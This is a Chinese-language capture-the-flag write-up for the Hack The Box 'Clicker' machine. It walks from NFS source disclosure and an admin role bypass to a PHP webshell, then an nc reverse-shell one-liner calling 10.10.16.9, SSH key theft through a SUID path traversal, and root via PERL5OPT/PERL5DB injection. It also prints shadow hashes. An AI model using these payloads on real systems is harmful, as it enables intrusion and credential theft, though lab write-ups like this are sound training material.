基本信息

https://app.hackthebox.com/machines/Clicker
10.10.11.232

端口扫描

22,80,111,2049:

$ nmap -sC -sV -Pn 10.10.11.232
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-25 13:24 CST
Nmap scan report for 10.10.11.232
Host is up (0.18s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 89:d7:39:34:58:a0:ea:a1:db:c1:3d:14:ec:5d:5a:92 (ECDSA)
|_  256 b4:da:8d:af:65:9c:bb:f0:71:d5:13:50:ed:d8:11:30 (ED25519)
80/tcp    open     http           Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://clicker.htb/
111/tcp   open     rpcbind        2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      38105/tcp6  mountd
|   100005  1,2,3      55583/udp6  mountd
|   100005  1,2,3      56746/udp   mountd
|   100005  1,2,3      59597/tcp   mountd
|   100021  1,3,4      32862/udp   nlockmgr
|   100021  1,3,4      35363/tcp6  nlockmgr
|   100021  1,3,4      44763/udp6  nlockmgr
|   100021  1,3,4      45015/tcp   nlockmgr
|   100024  1          35413/udp   status
|   100024  1          38553/tcp6  status
|   100024  1          58320/udp6  status
|   100024  1          58985/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
2049/tcp  open     nfs_acl        3 (RPC #100227)
4279/tcp  filtered vrml-multi-use
16993/tcp filtered amt-soap-https
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.79 seconds

80

需要加hosts：

1	10.10.11.232 clicker.htb

一个游戏网站：

2049

nfs未授权，挂载得到源码:

2049 - Pentesting NFS Service - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting

showmount -e 10.10.11.232
mkdir backups
sudo mount -o resvport,rw,nolocks  -t nfs 10.10.11.232:/mnt/backups backups
cp backups/clicker.htb_backup.zip .
sudo umount backups

Clicker

就是普通的点击，累计点击次数换取升级，并且根据代码发现保存退出时存在mass assignment,但也存在校验，不能直接修改role：

admin

校验用的小写后字符串全等，但php变量支持反引号，简单绕过：

注销后重新登录，现在可以访问admin：

export

export可以指定后缀名，尝试修改为php，导出后文件发现内容就是用户名和对应游戏记录，而用户名是我们可控的：

webshell

那就可以直接把用户名修改为php代码，然后利用导出功能获得webshell：

1
2
3

<?php system($_REQUEST['cmd']);?>

%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%24%5f%52%45%51%55%45%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e

reverse shell

获得reverse shell：

1	rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.16.9%204444%20%3E%2Ftmp%2Ff

jack

常规枚举，发现jack suid execute_query：

1	find / -user jack -perm /4000 2>/dev/null

execute_query

下载到本地分析：

# lcoal
rlwrap nc -nlvp 4444 > execute_query
# target
nc 10.10.16.9 4444 < /opt/manage/execute_query

根据代码，选项1-4分别读取指定文件，其他选项读取给出的文件,但文件名不能多于20字节(0x14):

同样代码中可以得到这个程序读取文件的路径:

0x616a2f656d6f682f aj/emoh/
0x69726575712f6b63 ireuq/kc
0x2f7365 /se

/home/jack/queries/

结合以上信息，可以读取jack的文件，例如ssh私钥(格式小坑自己修复下)：

1	/opt/manage/execute_query 9 "../.ssh/id_rsa"

jack_id_rsa

user flag

读取到的私钥ssh登录：

1	ssh -i jack_id_rsa jack@10.10.11.232

提权信息

jack可以sudo运行/opt/monitor.sh,并且有SETENV来设置环境变量,查看文件发现unset了两个perl lib相关环境变量，不能简单的lib劫持，需要使用其他的：

搜索可以发现PERL5OPT:

Hacking with Environment Variables
https://www.elttam.com/blog/env/#content
Environment Variables (Programming Perl)
https://docstore.mik.ua/orelly/perl3/prog/ch19_02.htm

提权 & root flag

劫持PERL5OPT环境变量执行任意命令：

# 简单命令
sudo PERL5OPT='-Mbase;print(`id`);exit' /opt/monitor.sh

# bash加suid
# PERL5DB The command used to load the debugger code 
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");exit' /opt/monitor.sh

shadow

1 2	root:$y$j9T$HwhGTqLOk.g0jLRSGt.RE.$eZjvzgetAedblJFhUTKXR3a90xzWaxtNLuQy4GSfg50:19566:0:99999:7::: jack:$y$j9T$9Z9lna0X87kIw1tXnLTI61$gM1HT7u59YfJwh6hGnM/pnq.EVyrRy9GNTevOgq6AW7:19415:0:99999:7:::

root_id_rsa

参考资料

2049 - Pentesting NFS Service - HackTricks
https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
Hacking with Environment Variables
https://www.elttam.com/blog/env/#content
Environment Variables (Programming Perl)
https://docstore.mik.ua/orelly/perl3/prog/ch19_02.htm

Clicker - HackTheBox

2023-09-25